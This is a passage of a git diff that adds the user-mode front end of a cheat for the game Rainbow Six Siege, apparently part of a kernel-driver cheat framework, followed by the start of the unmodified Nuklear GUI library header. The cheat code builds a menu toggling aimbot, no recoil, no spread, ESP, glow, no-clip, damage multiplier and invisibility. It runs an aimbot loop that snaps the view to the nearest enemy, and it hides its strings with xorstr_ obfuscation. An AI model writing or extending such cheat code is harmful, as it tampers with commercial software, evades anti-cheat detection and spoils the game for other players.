+ + case WM_SIZE: + if (globals::swap_chain) + { + int width = LOWORD(lparam); + int height = HIWORD(lparam); + set_swap_chain_size(width, height); + nk_d3d11_resize(globals::context, width, height); + } + break; + } + + if (nk_d3d11_handle_event(wnd, msg, wparam, lparam)) + return 0; + + return DefWindowProcW(wnd, msg, wparam, lparam); +} + +inline void gui_thread(RainbowSix rainbow_six) { + struct nk_context* ctx; + struct nk_colorf bg; + + WNDCLASSW wc; + RECT rect = { 0, 0, globals::window_width, globals::window_height }; + DWORD style = WS_OVERLAPPEDWINDOW; + DWORD exstyle = WS_EX_APPWINDOW; + HWND wnd; + int running = 1; + HRESULT hr; + D3D_FEATURE_LEVEL feature_level; + DXGI_SWAP_CHAIN_DESC swap_chain_desc; + + memset(&wc, 0, sizeof(wc)); + wc.style = CS_DBLCLKS; + wc.lpfnWndProc = WindowProc; + wc.hInstance = GetModuleHandleW(0); + wc.hIcon = NULL; + wc.hCursor = LoadCursor(NULL, IDC_ARROW); + wc.lpszClassName = xorstr_(L"NuklearWindowClass"); + RegisterClassW(&wc); + AdjustWindowRectEx(&rect, style, FALSE, exstyle); + + wnd = CreateWindowExW(exstyle, wc.lpszClassName, xorstr_(L"Its a Cheeto! No, It's a Chicken!"), + style | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, + rect.right - rect.left, rect.bottom - rect.top, + NULL, NULL, wc.hInstance, NULL); + + SetWindowLong(wnd, GWL_STYLE, + GetWindowLong(wnd, GWL_STYLE) & ~WS_MINIMIZEBOX); + + SetWindowLong(wnd, GWL_STYLE, + GetWindowLong(wnd, GWL_STYLE) & ~WS_MAXIMIZEBOX); + + SetWindowLong(wnd, GWL_STYLE, + GetWindowLong(wnd, GWL_STYLE) & ~WS_THICKFRAME); + + EnableMenuItem(GetSystemMenu(wnd, FALSE), SC_CLOSE, + MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + + memset(&swap_chain_desc, 0, sizeof(swap_chain_desc)); + swap_chain_desc.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; + swap_chain_desc.BufferDesc.RefreshRate.Numerator = 60; + swap_chain_desc.BufferDesc.RefreshRate.Denominator = 1; + swap_chain_desc.SampleDesc.Count = 1; + swap_chain_desc.SampleDesc.Quality = 0; + swap_chain_desc.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; + swap_chain_desc.BufferCount = 1; + swap_chain_desc.OutputWindow = wnd; + swap_chain_desc.Windowed = TRUE; + swap_chain_desc.SwapEffect = DXGI_SWAP_EFFECT_DISCARD; + swap_chain_desc.Flags = 0; + if (FAILED(D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, + NULL, 0, NULL, 0, D3D11_SDK_VERSION, &swap_chain_desc, + &globals::swap_chain, &globals::device, &feature_level, &globals::context))) + { + hr = D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_WARP, + NULL, 0, NULL, 0, D3D11_SDK_VERSION, &swap_chain_desc, + &globals::swap_chain, &globals::device, &feature_level, &globals::context); + assert(SUCCEEDED(hr)); + } + set_swap_chain_size(globals::window_width, globals::window_height); + + ctx = nk_d3d11_init(globals::device, globals::window_width, globals::window_height, MAX_VERTEX_BUFFER, MAX_INDEX_BUFFER); + + { + struct nk_font_atlas* atlas; + nk_d3d11_font_stash_begin(&atlas); + nk_d3d11_font_stash_end(); + + set_style(ctx, theme::THEME_BLUE); + } + + bg.r = 0.10f, bg.g = 0.18f, bg.b = 0.24f, bg.a = 1.0f; + while (running) + { + MSG msg; + nk_input_begin(ctx); + while (PeekMessageW(&msg, NULL, 0, 0, PM_REMOVE)) + { + if (msg.message == WM_QUIT) + running = 0; + TranslateMessage(&msg); + DispatchMessageW(&msg); + } + nk_input_end(ctx); + + if (nk_begin(ctx, xorstr_("Demo"), nk_rect(0, 0, 300, 425), NK_WINDOW_NO_SCROLLBAR)) + { + nk_layout_row_dynamic(ctx, 50, 1); + if (nk_group_begin(ctx, xorstr_("group1"), NK_WINDOW_BORDER | NK_WINDOW_NO_SCROLLBAR)) { + nk_layout_row_dynamic(ctx, 50, 3); + if (nk_group_begin(ctx, xorstr_("column1"), NULL)) { + nk_layout_row_dynamic(ctx, 30, 1); + if (nk_button_label(ctx, xorstr_("aim"))) { + globals::aimtab = true; + globals::visualtab = false; + globals::misctab = false; + + std::cout << xorstr_("[+] Switched tab to: Aim") << std::endl; + } + nk_group_end(ctx); + } + if (nk_group_begin(ctx, xorstr_("column2"), NULL)) { + nk_layout_row_dynamic(ctx, 30, 1); + if (nk_button_label(ctx, xorstr_("visual"))) { + globals::aimtab = false; + globals::visualtab = true; + globals::misctab = false; + + std::cout << xorstr_("[+] Switched tab to: Visual") << std::endl; + } + nk_group_end(ctx); + } + if (nk_group_begin(ctx, xorstr_("column3"), NULL)) { + nk_layout_row_dynamic(ctx, 30, 1); + if (nk_button_label(ctx, xorstr_("misc"))) { + globals::aimtab = false; + globals::visualtab = false; + globals::misctab = true; + + std::cout << xorstr_("[+] Switched tab to: Misc") << std::endl; + } + nk_group_end(ctx); + } + nk_group_end(ctx); + } + + nk_layout_row_dynamic(ctx, 315, 1); + + if (nk_group_begin(ctx, xorstr_("group2"), NK_WINDOW_BORDER | NK_WINDOW_NO_SCROLLBAR)) { + nk_layout_row_static(ctx, 30, 265, 1); + + if (globals::aimtab) { + if (globals::aimbot) { + if (nk_button_label(ctx, xorstr_("Aimbot: ON"))) { + globals::aimbot = false; + + std::cout << xorstr_("[-] Disabled: Aimbot") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("Aimbot: OFF"))) { + globals::aimbot = true; + + std::cout << xorstr_("[+] Enabled: Aimbot") << std::endl; + } + } + + if (globals::aimbot) { + nk_layout_row_static(ctx, 15, 270, 1); + + char buffer[64]; + int ret = snprintf(buffer, sizeof buffer, "%f", globals::aimbotfov); + + std::string test = xorstr_("Aimbot Fov ("); + test += buffer; + test += xorstr_(")"); + + char cstr[64]; + strcpy(cstr, test.c_str()); + + nk_label(ctx, cstr, NK_TEXT_ALIGN_LEFT); + + if (nk_slider_float(ctx, 0.0f, &globals::aimbotfov, 360.0f, 1.0f)) { + std::cout << xorstr_("[+] Aimbot Fov Changed: ") << buffer << std::endl; + } + + enum { m5, m4, m2, m1 }; + static int op = m2; + static int prev_op = m2; + nk_layout_row_dynamic(ctx, 30, 2); + if (nk_option_label(ctx, xorstr_("Mouse 5"), op == m5)) { + if (prev_op != op) + { + prev_op = op; + + std::cout << xorstr_("[+] Aimbot Mouse Changed: Mouse 5") << std::endl; + } + + op = m5; + + } + if (nk_option_label(ctx, xorstr_("Mouse 4"), op == m4)) { + if (prev_op != op) + { + prev_op = op; + + std::cout << xorstr_("[+] Aimbot Mouse Changed: Mouse 4") << std::endl; + } + + op = m4; + } + if (nk_option_label(ctx, xorstr_("Mouse 2"), op == m2)) { + if (prev_op != op) + { + prev_op = op; + + std::cout << xorstr_("[+] Aimbot Mouse Changed: Mouse 2") << std::endl; + } + + op = m2; + } + if (nk_option_label(ctx, xorstr_("Mouse 1"), op == m1)) { + if (prev_op != op) + { + prev_op = op; + + std::cout << xorstr_("[+] Aimbot Mouse Changed: Mouse 1") << std::endl; + } + + op = m1; + } + nk_layout_row_dynamic(ctx, 30, 1); + } + + if (globals::recoil) { + if (nk_button_label(ctx, xorstr_("No Recoil: ON"))) { + globals::recoil = false; + std::cout << xorstr_("[-] Disabled: No Recoil") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("No Recoil: OFF"))) { + globals::recoil = true; + std::cout << xorstr_("[+] Enabled: No Recoil") << std::endl; + } + } + + if (globals::recoil) { + nk_layout_row_static(ctx, 15, 270, 1); + + char buffer[64]; + int ret = snprintf(buffer, sizeof buffer, "%f", globals::recoilmultiplier); + + std::string test = xorstr_("Recoil Multiplier ("); + test += buffer; + test += xorstr_(")"); + + char cstr[64]; + strcpy(cstr, test.c_str()); + + nk_label(ctx, cstr, NK_TEXT_ALIGN_LEFT); + + if (nk_slider_float(ctx, 0.0f, &globals::recoilmultiplier, 1.0f, 0.01f)) { + std::cout << xorstr_("[+] Recoil Multiplier Changed: ") << buffer << std::endl; + } + + nk_layout_row_dynamic(ctx, 30, 1); + } + + if (globals::spread) { + if (nk_button_label(ctx, xorstr_("No Spread: ON"))) { + globals::spread = false; + std::cout << xorstr_("[-] Disabled: No Spread") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("No Spread: OFF"))) { + globals::spread = true; + std::cout << xorstr_("[+] Enabled: No Spread") << std::endl; + } + } + + if (globals::spread) { + nk_layout_row_static(ctx, 15, 270, 1); + + char buffer[64]; + int ret = snprintf(buffer, sizeof buffer, "%f", globals::spreadmultiplier); + + std::string test = xorstr_("Spread Multiplier ("); + test += buffer; + test += xorstr_(")"); + + char cstr[64]; + strcpy(cstr, test.c_str()); + + nk_label(ctx, cstr, NK_TEXT_ALIGN_LEFT); + + if (nk_slider_float(ctx, 0.0f, &globals::spreadmultiplier, 1.0f, 0.01f)) { + std::cout << xorstr_("[+] Spread Multiplier Changed: ") << buffer << std::endl; + } + + nk_layout_row_dynamic(ctx, 30, 1); + } + } + + if (globals::visualtab) { + if (globals::esp) { + if (nk_button_label(ctx, xorstr_("Cav Esp: ON"))) { + globals::esp = false; + std::cout << xorstr_("[-] Disabled: Cav Esp") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("Cav Esp: OFF"))) { + globals::esp = true; + std::cout << xorstr_("[+] Enabled: Cav Esp") << std::endl; + } + } + if (globals::glow) { + if (nk_button_label(ctx, xorstr_("Glow Esp: ON"))) { + globals::glow = false; + std::cout << xorstr_("[-] Disabled: Glow Esp") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("Glow Esp: OFF"))) { + globals::glow = true; + std::cout << xorstr_("[+] Enabled: Glow Esp") << std::endl; + } + } + + if (globals::glow) { + nk_layout_row_dynamic(ctx, 20, 1); + nk_label(ctx, xorstr_("Glow Color"), NK_TEXT_LEFT); + nk_layout_row_dynamic(ctx, 120, 1); + bg = nk_color_picker(ctx, bg, NK_RGBA); + nk_layout_row_dynamic(ctx, 25, 1); + bg.r = nk_propertyf(ctx, xorstr_("#R:"), 0, bg.r, 1.0f, 0.01f, 0.005f); + bg.g = nk_propertyf(ctx, xorstr_("#G:"), 0, bg.g, 1.0f, 0.01f, 0.005f); + bg.b = nk_propertyf(ctx, xorstr_("#B:"), 0, bg.b, 1.0f, 0.01f, 0.005f); + } + } + + if (globals::misctab) { + if (globals::clip) { + if (nk_button_label(ctx, xorstr_("No-Clip: ON"))) { + globals::clip = false; + std::cout << xorstr_("[-] Disabled: No-Clip") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("No-Clip: OFF"))) { + globals::clip = true; + std::cout << xorstr_("[+] Enabled: No-Clip") << std::endl; + } + } + if (globals::damage) { + if (nk_button_label(ctx, xorstr_("Damage Multiplier: ON"))) { + globals::damage = false; + std::cout << xorstr_("[-] Disabled: Damage Multiplier") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("Damage Multiplier: OFF"))) { + globals::damage = true; + std::cout << xorstr_("[+] Enabled: Damage Multiplier") << std::endl; + } + } + if (globals::fov) { + if (nk_button_label(ctx, xorstr_("Custom Fov: ON"))) { + globals::fov = false; + std::cout << xorstr_("[-] Disabled: Custom Fov") << std::endl; + } + } + else { + if (nk_button_label(ctx, xorstr_("Custom Fov: OFF"))) { + globals::fov = true; + std::cout << xorstr_("[+] Enabled: Custom Fov") << std::endl; + } + } + + if (globals::fov) { + nk_layout_row_static(ctx, 15, 270, 1); + + char buffer[64]; + int ret = snprintf(buffer, sizeof buffer, "%f", globals::customfov); + + std::string test = xorstr_("Fov Multiplier ("); + test += buffer; + test += xorstr_(")"); + + char cstr[64]; + strcpy(cstr, test.c_str()); + + nk_label(ctx, cstr, NK_TEXT_ALIGN_LEFT); + + if (nk_slider_float(ctx, 0.0f, &globals::customfov, 180.0f, 1.0f)) { + std::cout << xorstr_("[+] Custom Fov Changed: ") << buffer << std::endl; + } + + nk_layout_row_dynamic(ctx, 30, 1); + } + } + + nk_group_end(ctx); + + nk_layout_row_dynamic(ctx, 30, 2); // wrapping row + + if (nk_group_begin(ctx, xorstr_("column1"), NK_WINDOW_BORDER | NK_WINDOW_NO_SCROLLBAR)) { // column 1 + nk_layout_row_static(ctx, 20, 120, 1); + + if (nk_button_label(ctx, xorstr_("help"))) { + std::cout << xorstr_("[?] https://yourwebsitehere.com/support") << std::endl; + } + + nk_group_end(ctx); + } + + if (nk_group_begin(ctx, xorstr_("column2"), NK_WINDOW_BORDER | NK_WINDOW_NO_SCROLLBAR)) { // column 2 + nk_layout_row_static(ctx, 20, 120, 1); + + if (globals::debug) { + if (nk_button_label(ctx, xorstr_("Debug: ON"))) { + globals::debug = false; + ::ShowWindow(::GetConsoleWindow(), SW_HIDE); + } + } + else { + if (nk_button_label(ctx, xorstr_("Debug: OFF"))) { + globals::debug = true; + ::ShowWindow(::GetConsoleWindow(), SW_SHOW); + } + } + + nk_group_end(ctx); + } + } + nk_layout_row_static(ctx, 30, 275, 1); + + nk_label(ctx, xorstr_("Press END to close the cheeto."), NK_TEXT_ALIGN_CENTERED); + } + nk_end(ctx); + + /* Draw */ + globals::context->ClearRenderTargetView(globals::rt_view, &bg.r); + globals::context->OMSetRenderTargets(1, &globals::rt_view, NULL); + nk_d3d11_render(globals::context, NK_ANTI_ALIASING_ON); + hr = globals::swap_chain->Present(1, 0); + if (hr == DXGI_ERROR_DEVICE_RESET || hr == DXGI_ERROR_DEVICE_REMOVED) { + MessageBoxW(NULL, xorstr_(L"D3D11 device is lost or removed!"), xorstr_(L"Error"), 0); + break; + } + else if (hr == DXGI_STATUS_OCCLUDED) { + + } + assert(SUCCEEDED(hr)); + } + + globals::context->ClearState(); + nk_d3d11_shutdown(); + globals::rt_view->Release(); + globals::context->Release(); + globals::device->Release(); + globals::swap_chain->Release(); + UnregisterClassW(wc.lpszClassName, wc.hInstance); + + return; +} + +inline void aimbot_thread(RainbowSix rainbow_six) +{ + while (true) + { + static auto last_entity = 0; + static auto last_key = false; + + if (GetAsyncKeyState(VK_RBUTTON) && globals::aimbot) + { + auto entity = 0; + + if (last_entity && last_key && rainbow_six.entity_health(last_entity)) + entity = last_entity; + else + entity = rainbow_six.get_closest_enemy(); + + if (!entity) + { + continue; + } + + auto angle = rainbow_six.calc_angle(rainbow_six.entity_head(entity), rainbow_six.entity_head(rainbow_six.local_entity())); + angle.clamp(); + + rainbow_six.set_viewangle(rainbow_six.local_entity(), false ? 0x134 : 0xc0, rainbow_six.calculate_quaternion(angle)); + + last_entity = entity; + last_key = true; + } + else { last_key = false; } + + std::this_thread::sleep_for(std::chrono::milliseconds(5)); + } +} + +inline void features_thread(RainbowSix rainbow_six) { + while (true) + { + rainbow_six.glow(); + rainbow_six.esp(); + rainbow_six.fov(); + rainbow_six.no_recoil(); + rainbow_six.no_flash(); + rainbow_six.damage_multiplier(); + rainbow_six.invisible(); + } +} + +int main() +{ + RainbowSix rainbow_six; + + std::thread aimbot(&aimbot_thread, rainbow_six); + aimbot.detach(); + + std::thread gui(&gui_thread, rainbow_six); + gui.detach(); + + std::thread features(&features_thread, rainbow_six); + features.detach(); + + while (TRUE) + if (GetAsyncKeyState(VK_END)) + exit(0); +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear.h" new file mode 100644 index 0000000..53735b2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear.h" @@ -0,0 +1,25774 @@ +/* +/// # Nuklear +/// ![](https://cloud.githubusercontent.com/assets/8057201/11761525/ae06f0ca-a0c6-11e5-819d-5610b25f6ef4.gif) +/// +/// ## Contents +/// 1. About section +/// 2. Highlights section +/// 3. Features section +/// 4. Usage section +/// 1. Flags section +/// 2. Constants section +/// 3. Dependencies section +/// 5. Example section +/// 6. API section +/// 1. Context section +/// 2. Input section +/// 3. Drawing section +/// 4. Window section +/// 5. Layouting section +/// 6. Groups section +/// 7. Tree section +/// 8. Properties section +/// 7. License section +/// 8. Changelog section +/// 9. Gallery section +/// 10. Credits section +/// +/// ## About +/// This is a minimal state immediate mode graphical user interface toolkit +/// written in ANSI C and licensed under public domain. It was designed as a simple +/// embeddable user interface for application and does not have any dependencies, +/// a default renderbackend or OS window and input handling but instead provides a very modular +/// library approach by using simple input state for input and draw +/// commands describing primitive shapes as output. So instead of providing a +/// layered library that tries to abstract over a number of platform and +/// render backends it only focuses on the actual UI. +/// +/// ## Highlights +/// - Graphical user interface toolkit +/// - Single header library +/// - Written in C89 (a.k.a. ANSI C or ISO C90) +/// - Small codebase (~18kLOC) +/// - Focus on portability, efficiency and simplicity +/// - No dependencies (not even the standard library if not wanted) +/// - Fully skinnable and customizable +/// - Low memory footprint with total memory control if needed or wanted +/// - UTF-8 support +/// - No global or hidden state +/// - Customizable library modules (you can compile and use only what you need) +/// - Optional font baker and vertex buffer output +/// +/// ## Features +/// - Absolutely no platform dependent code +/// - Memory management control ranging from/to +/// - Ease of use by allocating everything from standard library +/// - Control every byte of memory inside the library +/// - Font handling control ranging from/to +/// - Use your own font implementation for everything +/// - Use this libraries internal font baking and handling API +/// - Drawing output control ranging from/to +/// - Simple shapes for more high level APIs which already have drawing capabilities +/// - Hardware accessible anti-aliased vertex buffer output +/// - Customizable colors and properties ranging from/to +/// - Simple changes to color by filling a simple color table +/// - Complete control with ability to use skinning to decorate widgets +/// - Bendable UI library with widget ranging from/to +/// - Basic widgets like buttons, checkboxes, slider, ... +/// - Advanced widget like abstract comboboxes, contextual menus,... +/// - Compile time configuration to only compile what you need +/// - Subset which can be used if you do not want to link or use the standard library +/// - Can be easily modified to only update on user input instead of frame updates +/// +/// ## Usage +/// This library is self contained in one single header file and can be used either +/// in header only mode or in implementation mode. The header only mode is used +/// by default when included and allows including this header in other headers +/// and does not contain the actual implementation.

+/// +/// The implementation mode requires to define the preprocessor macro +/// NK_IMPLEMENTATION in *one* .c/.cpp file before #includeing this file, e.g.: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~C +/// #define NK_IMPLEMENTATION +/// #include "nuklear.h" +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Also optionally define the symbols listed in the section "OPTIONAL DEFINES" +/// below in header and implementation mode if you want to use additional functionality +/// or need more control over the library. +/// +/// !!! WARNING +/// Every time nuklear is included define the same compiler flags. This very important not doing so could lead to compiler errors or even worse stack corruptions. +/// +/// ### Flags +/// Flag | Description +/// --------------------------------|------------------------------------------ +/// NK_PRIVATE | If defined declares all functions as static, so they can only be accessed inside the file that contains the implementation +/// NK_INCLUDE_FIXED_TYPES | If defined it will include header `` for fixed sized types otherwise nuklear tries to select the correct type. If that fails it will throw a compiler error and you have to select the correct types yourself. +/// NK_INCLUDE_DEFAULT_ALLOCATOR | If defined it will include header `` and provide additional functions to use this library without caring for memory allocation control and therefore ease memory management. +/// NK_INCLUDE_STANDARD_IO | If defined it will include header `` and provide additional functions depending on file loading. +/// NK_INCLUDE_STANDARD_VARARGS | If defined it will include header and provide additional functions depending on file loading. +/// NK_INCLUDE_VERTEX_BUFFER_OUTPUT | Defining this adds a vertex draw command list backend to this library, which allows you to convert queue commands into vertex draw commands. This is mainly if you need a hardware accessible format for OpenGL, DirectX, Vulkan, Metal,... +/// NK_INCLUDE_FONT_BAKING | Defining this adds `stb_truetype` and `stb_rect_pack` implementation to this library and provides font baking and rendering. If you already have font handling or do not want to use this font handler you don't have to define it. +/// NK_INCLUDE_DEFAULT_FONT | Defining this adds the default font: ProggyClean.ttf into this library which can be loaded into a font atlas and allows using this library without having a truetype font +/// NK_INCLUDE_COMMAND_USERDATA | Defining this adds a userdata pointer into each command. Can be useful for example if you want to provide custom shaders depending on the used widget. Can be combined with the style structures. +/// NK_BUTTON_TRIGGER_ON_RELEASE | Different platforms require button clicks occurring either on buttons being pressed (up to down) or released (down to up). By default this library will react on buttons being pressed, but if you define this it will only trigger if a button is released. +/// NK_ZERO_COMMAND_MEMORY | Defining this will zero out memory for each drawing command added to a drawing queue (inside nk_command_buffer_push). Zeroing command memory is very useful for fast checking (using memcmp) if command buffers are equal and avoid drawing frames when nothing on screen has changed since previous frame. +/// NK_UINT_DRAW_INDEX | Defining this will set the size of vertex index elements when using NK_VERTEX_BUFFER_OUTPUT to 32bit instead of the default of 16bit +/// NK_KEYSTATE_BASED_INPUT | Define this if your backend uses key state for each frame rather than key press/release events +/// +/// !!! WARNING +/// The following flags will pull in the standard C library: +/// - NK_INCLUDE_DEFAULT_ALLOCATOR +/// - NK_INCLUDE_STANDARD_IO +/// - NK_INCLUDE_STANDARD_VARARGS +/// +/// !!! WARNING +/// The following flags if defined need to be defined for both header and implementation: +/// - NK_INCLUDE_FIXED_TYPES +/// - NK_INCLUDE_DEFAULT_ALLOCATOR +/// - NK_INCLUDE_STANDARD_VARARGS +/// - NK_INCLUDE_VERTEX_BUFFER_OUTPUT +/// - NK_INCLUDE_FONT_BAKING +/// - NK_INCLUDE_DEFAULT_FONT +/// - NK_INCLUDE_STANDARD_VARARGS +/// - NK_INCLUDE_COMMAND_USERDATA +/// - NK_UINT_DRAW_INDEX +/// +/// ### Constants +/// Define | Description +/// --------------------------------|--------------------------------------- +/// NK_BUFFER_DEFAULT_INITIAL_SIZE | Initial buffer size allocated by all buffers while using the default allocator functions included by defining NK_INCLUDE_DEFAULT_ALLOCATOR. If you don't want to allocate the default 4k memory then redefine it. +/// NK_MAX_NUMBER_BUFFER | Maximum buffer size for the conversion buffer between float and string Under normal circumstances this should be more than sufficient. +/// NK_INPUT_MAX | Defines the max number of bytes which can be added as text input in one frame. Under normal circumstances this should be more than sufficient. +/// +/// !!! WARNING +/// The following constants if defined need to be defined for both header and implementation: +/// - NK_MAX_NUMBER_BUFFER +/// - NK_BUFFER_DEFAULT_INITIAL_SIZE +/// - NK_INPUT_MAX +/// +/// ### Dependencies +/// Function | Description +/// ------------|--------------------------------------------------------------- +/// NK_ASSERT | If you don't define this, nuklear will use with assert(). +/// NK_MEMSET | You can define this to 'memset' or your own memset implementation replacement. If not nuklear will use its own version. +/// NK_MEMCPY | You can define this to 'memcpy' or your own memcpy implementation replacement. If not nuklear will use its own version. +/// NK_SQRT | You can define this to 'sqrt' or your own sqrt implementation replacement. If not nuklear will use its own slow and not highly accurate version. +/// NK_SIN | You can define this to 'sinf' or your own sine implementation replacement. If not nuklear will use its own approximation implementation. +/// NK_COS | You can define this to 'cosf' or your own cosine implementation replacement. If not nuklear will use its own approximation implementation. +/// NK_STRTOD | You can define this to `strtod` or your own string to double conversion implementation replacement. If not defined nuklear will use its own imprecise and possibly unsafe version (does not handle nan or infinity!). +/// NK_DTOA | You can define this to `dtoa` or your own double to string conversion implementation replacement. If not defined nuklear will use its own imprecise and possibly unsafe version (does not handle nan or infinity!). +/// NK_VSNPRINTF| If you define `NK_INCLUDE_STANDARD_VARARGS` as well as `NK_INCLUDE_STANDARD_IO` and want to be safe define this to `vsnprintf` on compilers supporting later versions of C or C++. By default nuklear will check for your stdlib version in C as well as compiler version in C++. if `vsnprintf` is available it will define it to `vsnprintf` directly. If not defined and if you have older versions of C or C++ it will be defined to `vsprintf` which is unsafe. +/// +/// !!! WARNING +/// The following dependencies will pull in the standard C library if not redefined: +/// - NK_ASSERT +/// +/// !!! WARNING +/// The following dependencies if defined need to be defined for both header and implementation: +/// - NK_ASSERT +/// +/// !!! WARNING +/// The following dependencies if defined need to be defined only for the implementation part: +/// - NK_MEMSET +/// - NK_MEMCPY +/// - NK_SQRT +/// - NK_SIN +/// - NK_COS +/// - NK_STRTOD +/// - NK_DTOA +/// - NK_VSNPRINTF +/// +/// ## Example +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// // init gui state +/// enum {EASY, HARD}; +/// static int op = EASY; +/// static float value = 0.6f; +/// static int i = 20; +/// struct nk_context ctx; +/// +/// nk_init_fixed(&ctx, calloc(1, MAX_MEMORY), MAX_MEMORY, &font); +/// if (nk_begin(&ctx, "Show", nk_rect(50, 50, 220, 220), +/// NK_WINDOW_BORDER|NK_WINDOW_MOVABLE|NK_WINDOW_CLOSABLE)) { +/// // fixed widget pixel width +/// nk_layout_row_static(&ctx, 30, 80, 1); +/// if (nk_button_label(&ctx, "button")) { +/// // event handling +/// } +/// +/// // fixed widget window ratio width +/// nk_layout_row_dynamic(&ctx, 30, 2); +/// if (nk_option_label(&ctx, "easy", op == EASY)) op = EASY; +/// if (nk_option_label(&ctx, "hard", op == HARD)) op = HARD; +/// +/// // custom widget pixel width +/// nk_layout_row_begin(&ctx, NK_STATIC, 30, 2); +/// { +/// nk_layout_row_push(&ctx, 50); +/// nk_label(&ctx, "Volume:", NK_TEXT_LEFT); +/// nk_layout_row_push(&ctx, 110); +/// nk_slider_float(&ctx, 0, &value, 1.0f, 0.1f); +/// } +/// nk_layout_row_end(&ctx); +/// } +/// nk_end(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// ![](https://cloud.githubusercontent.com/assets/8057201/10187981/584ecd68-675c-11e5-897c-822ef534a876.png) +/// +/// ## API +/// +*/ +#ifndef NK_SINGLE_FILE + #define NK_SINGLE_FILE +#endif + +#ifndef NK_NUKLEAR_H_ +#define NK_NUKLEAR_H_ + +#ifdef __cplusplus +extern "C" { +#endif +/* + * ============================================================== + * + * CONSTANTS + * + * =============================================================== + */ +#define NK_UNDEFINED (-1.0f) +#define NK_UTF_INVALID 0xFFFD /* internal invalid utf8 rune */ +#define NK_UTF_SIZE 4 /* describes the number of bytes a glyph consists of*/ +#ifndef NK_INPUT_MAX + #define NK_INPUT_MAX 16 +#endif +#ifndef NK_MAX_NUMBER_BUFFER + #define NK_MAX_NUMBER_BUFFER 64 +#endif +#ifndef NK_SCROLLBAR_HIDING_TIMEOUT + #define NK_SCROLLBAR_HIDING_TIMEOUT 4.0f +#endif +/* + * ============================================================== + * + * HELPER + * + * =============================================================== + */ +#ifndef NK_API + #ifdef NK_PRIVATE + #if (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199409L)) + #define NK_API static inline + #elif defined(__cplusplus) + #define NK_API static inline + #else + #define NK_API static + #endif + #else + #define NK_API extern + #endif +#endif +#ifndef NK_LIB + #ifdef NK_SINGLE_FILE + #define NK_LIB static + #else + #define NK_LIB extern + #endif +#endif + +#define NK_INTERN static +#define NK_STORAGE static +#define NK_GLOBAL static + +#define NK_FLAG(x) (1 << (x)) +#define NK_STRINGIFY(x) #x +#define NK_MACRO_STRINGIFY(x) NK_STRINGIFY(x) +#define NK_STRING_JOIN_IMMEDIATE(arg1, arg2) arg1 ## arg2 +#define NK_STRING_JOIN_DELAY(arg1, arg2) NK_STRING_JOIN_IMMEDIATE(arg1, arg2) +#define NK_STRING_JOIN(arg1, arg2) NK_STRING_JOIN_DELAY(arg1, arg2) + +#ifdef _MSC_VER + #define NK_UNIQUE_NAME(name) NK_STRING_JOIN(name,__COUNTER__) +#else + #define NK_UNIQUE_NAME(name) NK_STRING_JOIN(name,__LINE__) +#endif + +#ifndef NK_STATIC_ASSERT + #define NK_STATIC_ASSERT(exp) typedef char NK_UNIQUE_NAME(_dummy_array)[(exp)?1:-1] +#endif + +#ifndef NK_FILE_LINE +#ifdef _MSC_VER + #define NK_FILE_LINE __FILE__ ":" NK_MACRO_STRINGIFY(__COUNTER__) +#else + #define NK_FILE_LINE __FILE__ ":" NK_MACRO_STRINGIFY(__LINE__) +#endif +#endif + +#define NK_MIN(a,b) ((a) < (b) ? (a) : (b)) +#define NK_MAX(a,b) ((a) < (b) ? (b) : (a)) +#define NK_CLAMP(i,v,x) (NK_MAX(NK_MIN(v,x), i)) + +#ifdef NK_INCLUDE_STANDARD_VARARGS + #if defined(_MSC_VER) && (_MSC_VER >= 1600) /* VS 2010 and above */ + #include + #define NK_PRINTF_FORMAT_STRING _Printf_format_string_ + #else + #define NK_PRINTF_FORMAT_STRING + #endif + #if defined(__GNUC__) + #define NK_PRINTF_VARARG_FUNC(fmtargnumber) __attribute__((format(__printf__, fmtargnumber, fmtargnumber+1))) + #define NK_PRINTF_VALIST_FUNC(fmtargnumber) __attribute__((format(__printf__, fmtargnumber, 0))) + #else + #define NK_PRINTF_VARARG_FUNC(fmtargnumber) + #define NK_PRINTF_VALIST_FUNC(fmtargnumber) + #endif +#endif + +/* + * =============================================================== + * + * BASIC + * + * =============================================================== + */ +#ifdef NK_INCLUDE_FIXED_TYPES + #include + #define NK_INT8 int8_t + #define NK_UINT8 uint8_t + #define NK_INT16 int16_t + #define NK_UINT16 uint16_t + #define NK_INT32 int32_t + #define NK_UINT32 uint32_t + #define NK_SIZE_TYPE uintptr_t + #define NK_POINTER_TYPE uintptr_t +#else + #ifndef NK_INT8 + #define NK_INT8 signed char + #endif + #ifndef NK_UINT8 + #define NK_UINT8 unsigned char + #endif + #ifndef NK_INT16 + #define NK_INT16 signed short + #endif + #ifndef NK_UINT16 + #define NK_UINT16 unsigned short + #endif + #ifndef NK_INT32 + #if defined(_MSC_VER) + #define NK_INT32 __int32 + #else + #define NK_INT32 signed int + #endif + #endif + #ifndef NK_UINT32 + #if 